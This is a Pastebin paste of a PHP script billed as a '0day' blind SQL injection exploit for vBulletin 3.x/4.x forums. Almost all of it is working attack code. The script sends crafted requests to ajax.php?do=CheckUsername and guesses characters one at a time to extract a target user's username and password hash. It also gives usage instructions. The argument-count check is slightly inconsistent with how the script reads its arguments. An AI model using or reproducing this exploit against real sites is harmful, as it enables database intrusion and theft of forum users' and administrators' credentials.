Guest User

Untitled

a guest
Dec 17th, 2012
170
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.31 KB | None | 0 0
  1. #!/usr/bin/php
  2. <?
  3.  
  4. # vBulletin 3.x/4.x AjaxReg remote Blind SQL Injection Exploit
  5. # https://lh3.googleusercontent.com/-4HcW64E57CI/ULWN9mDnK8I/AAAAAAAAABo/cc0UA9eV_ak/s640/11-26-2012%25206-02-5s3%2520AM.png
  6. # livedemo : http://www.youtube.com/watch?v=LlKaYyJxH7E
  7. # check it : http://localhost/vBulletin/clientscript/register.js
  8.  
  9. function usage ()
  10. {
  11. echo
  12. "\n[+] vBulletin 3.x/4.x AjaxReg remote Blind SQL Injection Exploit".
  13. "\n[+] Author: Cold z3ro".
  14. "\n[+] Site : http://www.hackteach.org | http://www.s3curi7y.com".
  15. "\n[+] vandor: http://www.vbulletin.org/forum/showthread.php?t=144869".
  16. "\n[+] Usage : php 0day.php <hostname> <path> [userid] [key]".
  17. "\n[+] Ex. : php 0day.php localhost /vBulletin/ 1 abcdefghijklmnopqrstuvwxyz".
  18. "\n[+] Note. : Its a 0day exploit\n\n";
  19. exit ();
  20. }
  21.  
  22. function check ($hostname, $path, $field, $pos, $usid, $char)
  23. {
  24. $char = ord ($char);
  25. $inj = 'ajax.php?do=CheckUsername&param=';
  26. $inj.= "admin'+and+ascii(substring((SELECT/**/{$field}/**/from/**/user/**/where/**/userid={$usid}),{$pos},1))={$char}/*";
  27. $culr = $hostname.$path.$inj;
  28. $curl = curl_init();
  29. curl_setopt ($curl, CURLOPT_URL, $culr );
  30. curl_setopt($curl, CURLOPT_HEADER, 1);
  31. curl_setopt($curl, CURLOPT_VERBOSE, 0);
  32. ob_start();
  33. curl_exec ($curl);
  34. curl_close ($curl);
  35. $con = ob_get_contents();
  36. ob_end_clean();
  37. if(eregi('Invalid',$con))
  38. return true;
  39. else
  40. return false;
  41. }
  42.  
  43.  
  44. function brutechar ($hostname, $path, $field, $usid, $key)
  45. {
  46. $pos = 1;
  47. $chr = 0;
  48. while ($chr < strlen ($key))
  49. {
  50. if (check ($hostname, $path, $field, $pos, $usid, $key [$chr]))
  51. {
  52. echo $key [$chr];
  53. $chr = -1;
  54. $pos++;
  55. }
  56. $chr++;
  57. }
  58. }
  59.  
  60.  
  61. if (count ($argv) != 4)
  62. usage ();
  63.  
  64. $hostname = $argv [1];
  65. $path = $argv [2];
  66. $usid = $argv [3];
  67. $key = $argv [4];
  68. if (empty ($key))
  69. $key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
  70.  
  71. echo "[+] Username: ";
  72. brutechar ($hostname, $path, "username", $usid, $key);
  73. echo "\n[+] Password: ";
  74. brutechar ($hostname, $path, "password", $usid, $key);
  75. echo "\n[+] Done..";
  76. echo "\n[+] It's not fake, its real.";
  77. # word to 1337day.com, stop scaming me
  78.  
  79. ?>
Advertisement
Add Comment
Please, Sign In to add comment